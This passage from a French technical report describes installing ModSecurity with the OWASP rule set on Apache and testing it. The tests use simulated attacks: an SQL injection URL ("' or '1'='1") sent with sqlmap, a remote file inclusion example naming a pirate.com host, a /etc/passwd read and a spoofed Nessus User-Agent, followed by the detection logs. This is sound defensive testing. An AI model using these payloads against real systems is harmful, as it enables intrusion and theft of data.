nombreux types d’attaques depuis la validation des requêtes HTTP émises par les clients web
jusqu’à la détection des attaques sur les applications web les plus populaires. Il protège
également contre la fuite d’informations en interdisant l’accès à des portes dérobées installés par
des chevaux de Troie et en interceptant des messages d’erreur trop explicites renvoyés par le
serveur (ex : erreurs SQL ou PHP).

ModSecurity est conçu autour de deux composants :

 Un moteur de détection d’intrusion et de protection contre les fuites d’informations ;

 Un jeu de règles de filtrage (ModSecurity Core Rule Set) et de signatures basés sur une
approche de type « liste noire » fourni en standard.

55
 Cette architecture modulaire permet de mettre à jour les règles de base (ModSecurity CRS)
sans être obligé de réinstaller le module de détection.

I.1.4.1 Type de menace

Voici quelques exemples de types de menaces qui peuvent être détectées et prévenues par
ModSecurity :

 Violations des règles du protocole HTTP (ex : encodage d’une requête forgée) ;

 Tentatives d'accès à des fichiers systèmes comme "/etc/passwd";

 Anomalies sur le protocole HTTP (ex : interrogation du site en utilisant une adresse
numérique, motifs absents indiquant la présence d’une possible attaque automatisée,
etc.) ;

 Les attaques de type buffer over flow ou des requêtes HTTP manipulant les paramètres (ex
: fichier trop volumineux, nombre d’arguments fantaisiste, etc.) ;

 Blocage de certaines méthodes, interdiction de requêtes en direction de fichiers sensibles

(ex : .ini, .key, .old) ;

 Scanners de recherche de failles de sécurité ;

I.1.4.2 Mesures
Les mesures prises par Modsecurity sont donc les suivantes :

 Mise en place de règles contre des attaques connues : protection de sessions, injections
SQL, attaques de type Cross Site Scripting, injections de commandes ;

 Accès à des portes dérobées installées par des troyens ;

 Interception de messages d’erreur trop explicites renvoyés par le serveur (ex : erreurs SQL
ou PHP);

 Journalisation des transactions initiées par les moteurs de recherche ;

Il est également possible de créer ses propres règles de détection grâce au langage fourni par
ModSecurity conçu pour faciliter l’analyse des transactions HTTP. Il dispose de variables et
fonctions prédéfinies capables de décoder les flux chiffrés ou compressés pour normaliser les
données avant leur traitement par les filtres. Il est possible d’attribuer un score à chaque
anomalie ou de collecter des données de manière persistante (variables d’état) pour corréler les
événements initiés depuis certaines adresses distantes et adopter la réponse appropriée.(cf.
Annexe 3)

56
I.2 Environnement du logiciel

I.2.1 Interopérabilité
ModSecurity fonctionne avec le serveur Web Apache, Nginx, IIS.

I.2.2 Limitations, difficultés, fonctionnalités importantes non couvertes

Après son installation, il requiert un minimum de travail d’adaptation pour personnaliser les
règles de base, dont certaines peuvent éventuellement bloquer le fonctionnement d’applications.

Un système de liste blanche permet d'échapper aux règles de modsecurity pour certains
sites de confiance ou pour certaines parties d'un site Web (par exemple, calendrier ou interface
d'administration d'un CMS).

On peut noter quelques cas de faux positifs, mais dans ce cas on dispose de fichiers de logs
très détaillés permettant de distinguer les adresses IP incriminées, le nom du champ, le fichier de
règles utilisé, la ligne et numéro de la règle qui ont "matché", et le motif détecté.

Dans certains cas, l’analyse des transactions HTTP peut surcharger le serveur selon le
dimensionnement initial. Aussi, par exemple, une utilisation avec une application de type reverse
proxy sur une machine dédiée en entrée de site préviendra les risques de surcharge du serveur et
permettra de protéger simultanément plusieurs sites Web.

ModSecurity n’est pas un produit infaillible : les règles de base sont accessibles à tous, y
compris les personnes malintentionnées. Elles peuvent donc les étudier à loisir pour tenter de les
contourner.

I.2.3 Plates-formes
ModSecurity est disponible pour ces systèmes d’exploitation : Linux, Windows, Solaris,
FreeBSD, OpenBSD, NetBSD, AIX, Mac OS X, and HP-UX.

ModSecurity est disponible sous la forme de paquet Debian depuis la version Squeeze
(Debian 6.0.x). Attention, car les règles de sécurité fournies par défaut doivent être mises à jour :
un script dédié est fourni dans le paquet.

ModSecurity est aussi disponible sous forme de paquetage pour Fedora.

I.2.4 Eléments de pérennité

ModSecurity est développé par Trustwave's SpiderLabs et bénéficie du soutien d’une
communauté d’utilisateurs très efficace, le module ModSecurity a fini par supplanter certaines
solutions commerciales.

57
I.3 Etude environnementale du projet.
Nous devons donc connaitre l’environnement du serveur web à protéger afin de pouvoir
mettre en place le module d’apache ensuite l’implémenter au sein de cette infrastructure :

I.3.1 Configurations matérielles

I.3.1.1 Machine A
Type : Serveur

Facteur de forme : Montable sur rack – U1

Processeur : Intel Xeon 5050 / 3Ghz

Mémoire vive (DDR2 SDRAM) : 4 GB

Stockage (Serial Attached SCSI): 146.8 GB x 2.0 slots

Interface de communication : 04 Ports Ethernets

Stockage optique : Combinaison CD-RW / DVD-ROM - IDE

Fonctionnalité : Server Web sous Apache2

Système d’exploitation : CentOS 5.8

I.3.1.2 Machine B
Type : Serveur

Facteur de forme : Montable sur rack – U1

Processeur : Intel Xeon 5050 / 3Ghz

Mémoire vive (DDR2 SDRAM) : 4 GB

Stockage (Serial Attached SCSI): 146.8 GB x 2.0 slots

Interface de communication : 04 Ports Ethernets

Stockage optique : Combinaison CD-RW / DVD-ROM - IDE

Fonctionnalité : Server Base de données MySQL

Système d’exploitation : CentOS 5.8

58
I.3.1.3 Machine C
Type : Proxy

Facteur de forme : Montable sur rack – U1

Processeur : Blue Coat SG510-20-M5

Mémoire vive (DDR2 SDRAM) : 2 GB

Stockage (Serial ATA - 150): 320.0 GB x 2.0

Interface de communication : 2.0 x Network - Ethernet 10Base-T/100Base-TX/1000Base-T

Stockage optique : None

Fonctionnalité : Dispositif de sécurité – Web Application Firewall – Reverse proxy

Système d’exploitation : SGOS MACH5 Edition

I.3.1.4 Machine D
Type : Desktop

Facteur de forme : Tour

Processeur : Intel® Core™2 Duo CPU E7500 @ 2.93GHz × 2.0

Mémoire vive (DDR2 SDRAM) : 3.9 GB

Stockage (Serial ATA) : 320.0 GB

Interface de communication : 2.0 x Network - Ethernet 10Base-T/100Base-TX/1000Base-T

Stockage optique : Combinaison CD-RW / DVD-ROM

Fonctionnalité : Machine client – Poste de travail

Système d’exploitation : Ubuntu 12.10, Windows, Macintosh

I.3.2 Schéma de l’infrastructure actuelle

Voici donc ci-dessous, le schéma de l’infrastructure actuelle concernant la sécurisation des
flux web du serveur au sein de TELMA :

59
 Machine C : Firewall d’Application Web

Machine D : Poste Client

Machine A : Serveur Web

Machine D : Poste Client

Firewall Réseau

Machine B : Serveur de Bases de données

données
Machine D : Poste Client

Figure 15: Schématisation de l'infrastructure actuelle

Comme nous pouvons le constater, le Firewall d’application web, est ici assuré par un
serveur indépendant de la machine serveur Web et fonctionne comme un reverse proxy.

Ceci fonctionne donc comme mentionné ci-dessous :

 Les requêtes arrivent donc en provenance des clients et chacune d’elles est directement
routée vers le firewall d’Application, représenté par la machine C ci-dessus.

 Une fois analysée, la requête est bloquée si elle représente une menace pour le système,
selon les règles définies pour le firewall, ou directement redirigée vers le serveur web si
elle ne représente aucune menace, et afin qu’elle puisse être traité.

 Enfin, une fois la requête traité, le serveur web renvoie la requête vers le firewall qui a
intercepté la requête et celui-ci s’occupera à son tour de router chacune d’elle vers leur
émetteur respectif.

Ainsi selon les caractéristiques que nous avons citées un peu plus haut, nous pouvons voir
que le Firewall d’application Web est à la propriété de la société BlueCoat, ce qui implique donc
des couts supplémentaires pour l’entreprise.

60
I.3.3 Schéma après implémentation de ModSecurity
Ceci va donc être solutionné, dans notre cas, par ModSecurity qui remplacera le serveur
proxy Blue Coat dans l’infrastructure que nous avons schématisée précédemment. On aboutira
donc au schéma final suivant après avoir implémenté notre projet.

Machine A : Serveur Web + Web

Machine D : Poste Client Application Firewall

Machine D : Poste Client

Firewall Réseau

Machine B : Serveur Base de données

Machine D : Poste Client

Figure 16: Schématisation de la nouvel infrastructure avec ModSecurity

Dans la structure ci-dessus, comme nous pouvons le constater, l’infrastructure a été

délesté du serveur BlueCoat et donc le firewall d’application web intègrera, à partir de
maintenant, le serveur web elle-même.

Une fois le module activé, chaque requête provenant du serveur sera donc vérifier par
Modsecurity avant d’être transmis au serveur web si elle est conforme aux règles de sécurité
ayant été définies.

Il nous est aussi possible de configurer ModSecurity en tant que reverse proxy grâce au
module fournie par apache qui est mod_proxy.

61
II. INSTALLATION ET CONFIGURATION

II.1 Installations
Toutes les commandes à effectuer pour l’installation nécessitent donc l’autorisation d’accès en
tant que super-utilisateur ou utilisateur « root » afin de pouvoir mener à bien toutes les
procédures d’installation.

II.1.1 Prérequis
Avant de procéder à l’installation du module elle-même, il va falloir que nous complétions
les dépendances nécessaires pour que le paquet modsecurity puisse fonctionner correctement :

Il faut donc lancer cette commande dans le cas où nous n’avons pas encore de compilateur
dans la machine serveur ainsi qu’un créateur de programme binaire à partir d’un code source.

La commande ci-dessus installe les différentes librairies dynamiques nécessaires au

fonctionnement et à l’intégration de modsecurity dans le serveur web. Il faut ensuite télécharger
le module.

II.1.2 Installation de Modsecurity

Pour que l’installation puisse se faire, il faut procéder au téléchargement du paquet tarball
du module modsecurity :

On doit tout d’abord se placer dans le répertoire /usr/src pour y télécharger modsecurity en
utilisant la commande suivant :

Ensuite, une fois placé dans le répertoire, on télécharge modsecurity en lançant la ligne de
commande suivante :

62
 Une fois cette étape effectuée, il nous faut maintenant décompresser le module à l’aide de
la commande suivante :

On accède maintenant au dossier modsecurity-apache_2.7.2 afin de commencer

l’installation:

On y lance donc les commandes suivantes pour maintenant entamer le processus

d’installation du module d’apache :

Elle vérifie toutes les dépendances qui sont présentes, et ensuite configure et écrit un
fichier Makefile qui contiendra les ordres de compilation.

Elle effectue juste la compilation.

Elle procède à l’installation du module elle-même, met en place les processus et les
fichiers.

63
 Enfin, pour finir l’installation du module, il nous faut modifier le nom par défaut du fichier
de configuration de modsecurity afin qu’il puisse le reconnaître, en tapant la commande suivant
dans le répertoire de modsecurity :

Donc, comme nous l’avons déjà mentionné précédemment, OWASP est un organisme qui
répertorie les attaques concernant les applications web. Cet organisme a donc créé un jeu de
règles pour ModSecurity afin qu’il puisse fonctionner efficacement. Comme nous l’avons
mentionné dans le paragraphe précédent, sans ces règles, appelé aussi Core Set Rules, ce module
ne pourra, en aucun cas, travailler correctement.

Nous allons donc, dans le paragraphe suivant, installer le jeu de règles de ModSecurity afin
de profiter pleinement des fonctionnalités de ce Firewall d’Application Web.

II.1.3 Installation du OWASP Core Rule Set de ModSecurity

ModSecurity nécessite les jeux de règles de l'OWASP pour sa configuration de base, ces
règles sont utilisées pour protéger des vulnérabilités connues qui sont souvent trouvés sur les
applications web. Donc, ici, nous allons télécharger et installer l'ensemble de règles pour
modsecurity.

Dans un premier temps, nous allons nous placer dans le répertoire par défaut d’apache qui
est httpd en tapant la commande suivante :

Ainsi fait, il faut maintenant télécharger le modsecurity-crs dans le répertoire courant afin
de l’intégrer au module par la suite. Pour cela, on utilise la commande suivante :

Il faut donc veiller à obtenir la dernière mise à jour pour bénéficier d’une sécurité optimale.

64
 Ensuite, il faut décompresser le fichier tarball contenant les règles via la commande
suivante :

A l’issu de cette démarche, on obtient un dossier nommé modsecurity-crs_2.2.5 que nous

allons renommer par la suite, en modsecurity-crs afin de faciliter sa recherche. Pour cela, on tape
sur la ligne de commande, la suivante :

On accède alors maintenant au répertoire des règles de modsecurity à l’aide de la

commande ci-dessous :

Pour au finale, y renommer le fichier de configuration exemple, déjà fournit par l’OWASP et
entièrement fonctionnel, par un nom reconnu directement par le module et qui permettra
d’activer les fonctionnalités de la totalité des règles avec modsecurity. On tape donc la commande
suivante :

II.2 Configurations
La configuration de ModSecurity se fait en deux étapes bien distinctes. La première consiste à
la configuration du module elle-même en apportant des modifications à son fichier de
configuration et ensuite à la configuration de modsecurity-crs, c’est-à-dire choisir les règles à
activer et en second lieu, elle consiste à l’intégration de mod_security et de modsecurity_crs au
serveur web.

65
II.2.1 Modification autour de modsecurity

II.2.1.1 Modsecurity.conf (cf. Annexe 2)

Il nous faut donc apporter des modifications au fichier modsecurity.conf pour que le
module puisse fonctionner comme il nous convient. Pour cela on tape la commande suivante :

On obtient donc un fichier qui s’ouvre dans lequel on modifie les lignes suivantes :

On active ModSecurity pour bloquer et loguer les attaques. Par défaut, ce paramètre est
sur DetectionOnly. Deux autres modes sont possibles:

 Off: Le module sera désactivé.

 DetectionOnly: le module fonctionnera comme un IDS, c’est à dire qu’il se contentera de

loguer les attaques sans pour autant les bloquer.

On définit un emplacement sécurisé pour les fichiers uploadés. Si le répertoire n’existe pas,
il faudra le créer en utilisant la commande ci-dessous:

66
 On ajoute la ligne qui définit le chemin vers le script qui va scanner les fichiers uploadé
contre les virus, le fichier nécessite que clamav soit installé. (Optionnel)

On souhaite ici dupliquer les erreurs de Error.log dans un autre fichier, c’est plus pratique
pour le débogage dans cette modification.

On définit le fichier de log qui contiendra la trace complète des attaques.

67
 Cette ligne inclue le chemin des fichiers de règles dont l’installation est décrite ci-dessous.

Voilà, en somme, ce qui concerne Modsecurity. Nous allons voir maintenant les
configurations nécessaires à son jeu de règles fourni par l’OWASP.

II.2.1.2 Modsecurity-crs
Nous pouvons faire remarquer qu’il y a tout un tas de règles diverses et variées qui
peuvent rendre ModSecurity plus ou moins paranoïaque.

En gros, nous avons un répertoire « activated_rules » qui, dans le même principe que
mods-enabled ou sites-enabled va contenir des liens symboliques vers les fichiers de règles que
nous souhaiterions ajouter.

Nous allons activer toutes les règles du répertoire « base_rules » qui contient les règles de
base de ModSecurity grâce au script suivant:

Nous allons activer aussi le jeu de règle comment_spam:

68
 Si nous listons le répertoire activated_rules nous devrions voir les liens symboliques de
tous les fichiers de règles activés en utilisant la commande suivante :

# ls -la activated_rules

Figure 17: Résultat de la commande "ls -la activated_rules"

Ainsi fait, les configurations du module Modsecurity et modsecurity-crs sont donc

achevées. Nous allons passer à l’étape suivante qui consiste à intégrer modsecurity à apache.

II.2.2 Intégration de modsecurity

Dans ce paragraphe, nous allons donc détailler les étapes d’intégration de Modsecurity dans
le système du serveur web afin qu’il puisse maintenant prendre son rôle de Web Application
Firewall et donc sécuriser le serveur web.

Nous allons donc modifier le fichier de configuration du serveur apache afin qu’il puisse
intégrer Modsecurity. On tape donc la commande suivante :

69
 Nous allons chercher la partie LoadModule contenu dans le fichier et y ajouter la ligne ci-
dessous :

LoadModule security2_module modules/mod_security2.so

Maintenant, nous plaçons les règles de base dans le fichier httpd.conf afin qu’ils puissent
être utilisées. Nous ajoutons les lignes de code suivantes à la fin du fichier :

Figure 18: les modifications du fichier "httpd.conf"

Pour finir, il nous faut donc redémarrer Apache via la commande suivante :

# /etc/init.d/httpd restart

Nous avons donc fini la configuration de Modsecurity qui devrait maintenant fonctionner
correctement. Mais pour que cela se confirme, nous allons donc effectuer quelques tests dans le
paragraphe suivant.

70
III. TESTS ET PERSPECTIVE D’AMÉLIORATION

III.1 Les tests du firewall

Pour tester le firewall, nous allons donc choisir les attaques les plus fréquentes sur le web et
les simuler afin d’assurer la fiabilité de notre firewall d’application web. Ensuite, nous détaillerons
les logs de modsecurity pour voir les mesures prises par celui-ci.

III.1.1 TAG 1 : PROTOCOL_VIOLATION / IP_HOST

Ce tag concerne donc la sécurisation contre la violation du protocole de communication qui
devrait être respecté lorsqu’un client effectue une requête sur le serveur.

Selon les normes de communication et les règles de sécurité, un client devrait toujours avoir
une identité pour que le serveur puisse le connaitre. Dans notre cas cette identité est donc le nom
de domaine et comme nous l’avions déjà mentionné précédemment, ce DNS représente le nom de
l’appelant comme dans les systèmes d’annuaire. Ainsi, sans ce nom, la requête ne pourra pas être
traitée par le serveur car le Firewall d’application web considèrera cette requête anonyme comme
étant une tentative d’attaques sur le système qu’il protège.

III.1.1.1 Procédure de test

Serveur DNS

Client Serveur WEB

Requête : http://192.168.0.113

Réponse : Erreur 403 - Forbidden

Figure 19: Schématisation d'une attaque du type PROTOCOL_VIOLATION/IP_HOST

Dans le schéma ci-dessus, le client envoie une requête au serveur, qui lui est protégé par
modsecurity.

Comme nous pouvons le constater aussi, la requête du client ne passe pas par le serveur
DNS mais va directement en direction du serveur web.

71
III.1.1.2 Résultats

III.1.1.2.1 Sans Modsecurity

Sans l’utilisation de modsecurity, on obtient donc le résultat suivant :

Figure 20: La page "index.htlm" personnalisée

L’accès au serveur web, à la page « index.html » (cf. Annexe 6) par adresse l’IP est donc
autorisé contrairement à celui protéger par modsecurity.

III.1.1.2.2 Avec Modsecurity

Avec le module modsecurity actif, on obtient le résultat suivant :

Figure 21: Page obtenue en réponse d'une requête bloquée

Comme nous pouvons le voir, le module a bloqué la requête du client et lui renvoie la page
d’erreur 403 qui lui notifie le blocage de l’accès.
72
III.1.1.3 Fichier de log
Nous obtenons le rapport de log ci-dessous dans le fichier mod_security.log après avoir
simuler la requête :

[Fri Mar 29 22:23:51 2013] [error] [client 41.188.17.43]

ModSecurity: Access denied with code 403 (phase 2). Pattern match
"^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file
"/etc/apache2/modsecurity/modsecurity-
crs/base_rules/modsecurity_crs_21_protocol_anomalies.conf"] [line
"98"] [id "960017"] [rev "2.2.5"] [msg "Host header is a numeric
IP address"] [severity "CRITICAL"] [tag
"PROTOCOL_VIOLATION/IP_HOST"] [tag "WASCTC/WASC-21"] [tag
"OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [tag
"http://technet.microsoft.com/en-
us/magazine/2005.01.hackerbasher.aspx"] [hostname "41.188.7.190"]
[uri "/favicon.ico"] [unique_id "UVXqR38AAQEAAGI4TjAAAAAC"]

III.1.2 TAG 2 : AUTOMATION/SECURITY_SCANNER

Ce tag concerne les scanneurs de failles de sécurité par l’utilisation de protocole
d’automatisation(SCAP). Ces protocoles ont été utilisés, à la base dans le domaine de la sécurité
informatique. Lorsque les experts du domaine procédaient à un audit de la sécurité d’un serveur
d’application web, ils utilisaient le protocole d’automatisation pour stresser le système et le
scanner de sécurité pour rechercher les failles au sein du l’infrastructure.

Au fil des temps, ces méthodes ont été peu à peu exploitées par les hackers à des fins
malveillantes pour essayer de prendre main sur le système afin d’accéder aux données sensible
des applications, de les modifier, d’en bloquer l’accès et jusqu’à même en modifier le contenu.

Ainsi, modsecurity a pris les mesures nécessaires contre les requêtes voulant exploiter les
failles de sécurité du serveur web ou de l’application en les considérant comme étant des attaques
et en les bloquants.

III.1.2.1 Procédure de test

Pour le test, nous allons simuler cette attaque à l’aide de la commande cURL d’Unix qui
est destinée à récupérer le contenu d'une ressource accessible par un réseau informatique. La
ressource est désignée à l'aide d'une URL et doit être d'un type supporté par le logiciel. Ainsi, le
logiciel permet de créer ou modifier une ressource.

73
 Serveur DNS

Ligne de commande :
# curl -i http://www.url.com –A Nessus 2
3
1
Client Serveur d’application

Réponse : Erreur 403 - Forbidden 4

Figure 22: Schématisation d'une attaque du type AUTOMATION/SECURITY_SCANNER

Nessus ici est un logiciel de sécurité qui peut détecter les machines vivantes sur un réseau,
balayer les ports ouverts, identifier les services actifs, leur version, puis tenter diverses attaques. Il
sert à l’audit de sécurité au niveau d’un DMZ.

Plus tard, il a pu être utilisé par des hackers à des pratiques malveillantes. C’est pour cela
que modsecurity, dans son jeu de règles, le bloque et nous allons exploiter cette opportunité pour
tester modsecurity.

III.1.2.2 Résultats

III.1.2.2.1 Sans Modsecurity

Figure 23: Capture d'écran du résultat de l'attaque sans ModSecurity

74
 Comme nous pouvons le voir sur la capture d’écran ci-dessus, on accède directement à la
page par défaut du serveur web lorsqu’on lance la commande pour tester l’attaque.

III.1.2.2.2 Avec Modsecurity

Figure 24: Capture d'écran du résultat de l'attaque avec ModSecurity actif

Nous pouvons observer que sur la capture d’écran ci-dessus nous n’avons pas la permission
d’accéder au serveur web. La requête a été bloquée par modsecurity afin de sécuriser le serveur.

III.1.2.3 Fichier de log

[Sat Mar 30 18:45:07 2013] [error] [client 41.188.7.190]
ModSecurity: Access denied with code 403 (phase 2). Matched phrase
"Nessus" at REQUEST_HEADERS:User-Agent. [file
"/usr/share/modsecurity-
crs/base_rules/modsecurity_crs_35_bad_robots.conf"] [line "20"]
[id "990002"] [rev "2.2.5"] [msg "Request Indicates a Security
Scanner Scanned the Site"] [severity "WARNING"] [tag
"AUTOMATION/SECURITY_SCANNER"] [tag "WASCTC/WASC-21"] [tag
"OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "stgdina.test.mg"]
[uri "/"] [unique_id "UVXos38AAQEAAGI5UA4AAAAD"]

III.1.3 TAG3 : WEB_ATTACK/SQL_INJECTION

Une injection SQL est un type d'exploitation d'une faille de sécurité d'une application
interagissant avec une base de données, en injectant une requête SQL non prévue par le système
et pouvant compromettre sa sécurité.

75
 Cette faille apparaît quand il est possible d'injecter du code SQL dans les requêtes SQL qui
sont faites dans une page web. C'est actuellement la "meilleure" vulnérabilité Web en rapport
fréquence/surface d'exploitation.

SQL Injection est parmi les vecteurs d’attaques les plus connus sur la toile, son principe est
de modifier une requête SQL grâce à un champ mal filtré dans le but d’exécuter une requête non
prévue par l’application, elle peut permettre à un attaquant de :

 By passer une authentification

 Lire des données sensibles depuis les tables MySQL

 Injecter le nom et le schéma de la base de données

 Lire et écrire dans le système de fichier et potentiellement exécuter du code PHP

Les conséquences d'une faille SQL peuvent être multiples, du contournement de formulaires
d'authentification au dump complet de la base de données en passant par l'exécution arbitraire du
code.

III.1.3.1 Procédure de test

Pour effectuer notre test, nous utiliserons un petit utilitaire qui est appelé sqlmap.

SQLMap est un outil permettant d’effectuer des requêtes SQL de manières automatisées
dans le but de trouver et d’exploiter une mauvaise configuration sur votre serveur Web. Ce
dernier a été développé en Python par Bernardo Damele et Miroslav Stampar sous licence GPLv2.
Le choix de ce langage de programmation est intéressant car il permet à l’outil d’être utilisable sur
n’importe quel système d’exploitation.

On prépare l’environnement de test pour que nous puissions profiter des fonctionnalités
de cet outil :

III.1.3.1.1 Installation de python 2.7

Actuellement, la version de sqlmap n’est encore disponible que sur python ayant une
version inférieur ou égale à 2.7. On télécharge python sur son site officiel:

http://www.python.org/ftp/python/2.7/python-2.7.amd64.msi

Ensuite, on procède à son installation en lançant l’exécutable. Ici nous utiliserons un

système d’exploitation Windows.

76
 Après l’installation on obtient les fichiers ci-dessous :

Figure 25: Aperçu du contenu du dossier de Python v2.7

La plateforme de programmation python est maintenant prête et fonctionnelle. Nous

pouvons maintenant passer à l’installation de sqlmap.

III.1.3.1.2 Installation sqlmap win v0.1

Sqlmap ne nécessite pas d’installation, il nous suffit de télécharger le dossier
sqlmap_win_v01.zip et ensuite de le décompresser dans n’importe quel dossier du système.

L’URL de téléchargement est la suivante:

http://garr.dl.sourceforge.net/project/sqlmapwin/sqlmap_win_v01.zip

Dans notre cas, nous allons le décompresser directement sur le bureau. Ainsi fait, on
obtient les fichiers ci-dessous dans le dossier sqlmap sur le bureau :

Figure 26: Aperçu du contenu du dossier de SQLmap

77
 Nous pouvons observer l’exécutable de sqlmap qui est un fichier python possédant
l’extension.py.

III.1.3.1.3 Création d’une page PHP nommée « sql_inj.php » (cf. Annexe 4)

Elle effectuera une requête sur la base de données de notre serveur afin de récupérer des
informations pouvant être sensible et créera ainsi une faille de sécurité pour notre serveur web.
Nous l’appellerons « sql_inj.php ».

Ainsi, nous allons maintenant tester l’efficacité de notre firewall grâce à l’interface
graphique de cet utilitaire. Pour obtenir l’interface graphique, on lance donc l’exécutable
SQLMapGUI.exe que nous avons pu voir sur l’image ci-dessus. Une fois lancé, on obtient donc la
fenêtre suivante :

Figure 27: Fenêtre principale de SQL Map v0.1

Cette fenêtre nous permettra de saisir l’adresse du serveur à tester et de choisir les types
d’attaques que nous souhaiterons effectué sur ce serveur.

On va saisir l’URL ci-dessous dans le champ URL de l’interface graphique :

http://41.188.7.190/sql_inj.php? id=23' or '1'='1

78
 Ensuite nous cocherons chaque type de test que nous souhaiterons effectuer sur notre
serveur d’application. Nous pouvons le voir sur la capture d’écran ci-dessous :

Figure 28: Aperçu de la fenêtre de SQLMap prêt à simuler l'attaque

Enfin, il ne nous reste plus qu’à cliquer sur le bouton « Exploit ! » et voir les résultats
ensuite.

III.1.3.2 Résultats

III.1.3.2.1 Sans modsecurity

Figure 29: Capture d'écran du fichier access.log d’Apache

Donc, on peut voir que sqlmap a effectué plusieurs requêtes d’injection SQL sur notre
serveur web et il n’a pas été bloqué. Retrouvons le contenu d’une ligne de log ci-dessous:

stgdina.test.mg - - [31/Mar/2013:13:18:41 +0300] "GET

/sql_inj.php?id=23%27%20or%20%271%27=%271 HTTP/1.1" 200 286 "-"
"sqlmap/0.9-dev (http://sqlmap.sourceforge.net)"

79
III.1.3.2.2 Avec modsecurity

Figure 30: Capture d'écran du fichier error.log d'Apache

Nous pouvons voir ci-dessous une ligne de log, résultante d’une attaque effectuée par
sqlmap :

[Sun Mar 31 13:51:08 2013] [error] [client stgdina.test.mg]

ModSecurity: Access denied with code 403 (phase 2). Pattern match
"(?i:([\\\\s'\\"`\\xc2\\xb4\\xe2\\x80\\x99\\xe2\\x80\\x98\\\\(\\\\
)]*)?([\\\\d\\\\w]+)([\\\\s'\\"`\\xc2\\xb4\\xe2\\x80\\x99\\xe2\\x8
0\\x98\\\\(\\\\)]*)?(?:=|<=>|r?like|sounds\\\\s+like|regexp)([\\\\
s'\\"`\\xc2\\xb4\\xe2\\x80\\x99\\xe2\\x80\\x98\\\\(\\\\)]*)?\\\\2|
([\\\\s'\\"`\\xc2\\xb4\\xe2\\x80\\x99\\xe2\\x80\\x98\\ ..." at
ARGS:id. [file "/usr/share/modsecurity-
crs/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"]
[line "77"] [id "950901"] [rev "2.2.5"] [msg "SQL Injection
Attack"] [data " '1'='1"] [severity "CRITICAL"] [tag
"WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag
"OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"]
[hostname "41.188.7.190"] [uri "/sql_inj.php"] [unique_id
"UVgVHH8AAQEAABMaA2EAAAAD"]

80
 Ceci nous confirme alors le bon fonctionnement de modsecurity dans la protection du
serveur d’application web contre les attaques de types injection SQL.

III.1.4 TAG 4 : WEB_ATTACK/FILE_INJECTION

L'inclusion de fichier PHP (« PHP file include ») est un autre problème très fréquent des
applications Web. Ce type de vulnérabilité est semblable aux injections SQL au sens où il permet à
l'attaquant d’exécuter du code dangereux et habituellement non prévu par le programmeur de
l’application. En fait, le problème vient de certaines fonctionnalités de PHP qui, lorsque mal
implémentées, peuvent mener à une vulnérabilité dans le code pouvant être exploitée par un
utilisateur distant.

Premièrement, les « registre global » permettent à un programmeur PHP d’inclure dans le

code des variables non initialisées pouvant être remplies de l’extérieur. Il est même possible de
créer de nouvelles variables à distance. Jusqu'ici, il n’y a rien qui ne soit potentiellement
dommageable. Toutefois, une autre fonctionnalité de PHP rend la chose intéressante.

La fonction include() facilite grandement la tâche aux programmeurs en leur permettant de

subdiviser leur programme PHP en plusieurs fichiers plutôt que de n’avoir qu'une seule grosse
application, la fonction servant à ajouter un fichier externe à un autre. Mais elle permet
également d’exécuter certains protocoles. Une fonction include() rencontrant une chaîne
commençant par « http:// » tentera donc d’exécuter la requête HTTP et d’inclure le fichier ciblé à
son programme. La combinaison des « registre global » et de la fonction include() peut avoir des
effets assez dévastateurs.

III.1.4.1 Exemple
Pour illustrer la chose, prenons en exemple un fichier PHP simple nommé test.php :

<?PHP include($vuln); ?>

La fonction crée la variable $vuln, mais celle-ci n'est pas initialisée. Un pirate peut donc
l'initialiser avec ce qu'il veut à même la barre d'adresse d'un navigateur Internet. Et puisque
include() permet les requêtes HTTP, il peut initialiser $vuln avec une URL de la manière suivante :

http://www.exemple.com/test.php?vuln=http://www.pirate.com/danger.
php

Avec cette requête, le pirate donne à la variable vuln la valeur

http://www.pirate.com/danger.php. La fonction include() essaie donc d'inclure ce fichier au
programme PHP vulnérable. Le code PHP de danger.php s'exécute donc dans test.php (cf. Annexe
5) et le résultat du programme est envoyé en format texte ou HTML à l’initiateur de l’attaque.

81
 Le fichier utilisé par le pirate peut servir à plusieurs choses. Il peut s'agir d’une simple
chaîne de caractères servant à déterminer si le fichier visé est vulnérable, mais le programme peut
être beaucoup plus sophistiqué et dangereux. Il n'est pas rare de voir des attaques « PHP file
include » qui donnent des droits d'administrateur à distance au pirate ou encore qui installent un
« spambot » qui utilise le site Web attaqué pour recueillir des adresses courriel dans les fichiers
locaux.

III.1.4.2 Procédures de test

Sur le navigateur :
http://stgdina.test.mg/ 2
test.php?secret_file=/etc/passwd 3

Réponse du serveur : 403 Forbidden

Client Serveur d’Application web

Figure 31: Schématisation de l'attaque WEB_ATTACK/FILE_INJECTION

En préparation, il nous faut donc créer une page PHP qui injectera le fichier que nous
définirons dans l’URL au moment de la requête. Nous l’appellerons « test.php » (cf. Annexe 5).

Ensuite nous pouvons maintenant faire le test. Dans notre cas, nous allons injecter le
fichier /etc/passwd dans notre requête. Si Modsecurity ne fonctionne pas, nous pourrons voir le
contenu du fichier qui s’affichera sur le navigateur web. Dans le cas contraire, la réponse du
serveur web sera le message d’erreur 403 Forbidden.

Pour ce faire, nous accèderons à l’URL :

http://stgdina.test.mg/ test.php?secret_file=/etc/passwd

82
III.1.4.3 Résultats

III.1.4.3.1 Sans modsecurity

Figure 32: Capture d'écran du résultat de l'attaque FILE_INJECTION sans ModSecurity

Nous observons donc que le navigateur ici affiche effectivement le contenu du fichier
/etc/passwd du serveur web. Le fichier a été injecté avec succès.

III.1.4.3.2 Avec modsecurity

Figure 33: Page d'accès non autorisé d'Apache

Nous obtenons ainsi le message d’erreur renvoyé par le serveur. Ceci nous notifie que nous
n’avons même pas accès au fichier test.php. Modsecurity a bloqué notre requête car le module l’a
considéré comme étant une attaque sur le système. Nous pourrions voir cela dans le fichier de log.

83
III.1.4.4 Fichier de log
[Sun Mar 31 16:28:19 2013] [error] [client 41.188.20.214]
ModSecurity: Access denied with code 403 (phase 2). Pattern match
"(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\
.asa|httpd\\\\.conf|boot\\\\.ini)\\\\b|\\\\/etc\\\\/)" at
